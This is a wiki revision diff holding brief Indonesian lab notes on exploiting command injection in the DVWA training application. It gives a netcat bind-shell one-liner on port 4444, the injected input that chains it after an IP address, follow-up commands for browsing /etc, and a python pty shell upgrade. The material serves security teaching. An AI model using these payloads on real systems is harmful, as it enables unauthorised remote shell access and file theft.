DVWA: Command Injection Back Door: Difference between revisions
From OnnoCenterWiki
Jump to navigationJump to search
Onnowpurbo (talk | contribs) No edit summary |
Onnowpurbo (talk | contribs) No edit summary |
||
| Line 1: | Line 1: | ||
Backdoor menggunakan perintah | Backdoor pada port 4444 menggunakan perintah | ||
mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 4444 > /tmp/pipe | |||
Dari command injection di DVWA masukan | Dari command injection di DVWA masukan | ||
| Line 15: | Line 15: | ||
cat <namafile> | cat <namafile> | ||
dsb | dsb | ||
==Ujicoba== | |||
Percobaan untuk memperoleh shell | Percobaan untuk memperoleh shell | ||
Revision as of 03:55, 6 December 2018
Backdoor pada port 4444 menggunakan perintah
mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 4444 > /tmp/pipe
Dari command injection di DVWA masukan
192.168.43.1;mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 4444 > /tmp/pipe
dimana 192.168.43.1 adalah salah satu IP mesin di jaringan
Selanjutnya kita bisa memasukan perintah2 shell seperti
ls cd /etc cat <namafile> dsb
Ujicoba
Percobaan untuk memperoleh shell
python -c 'import pty; pty.spawn("/bin/sh")'
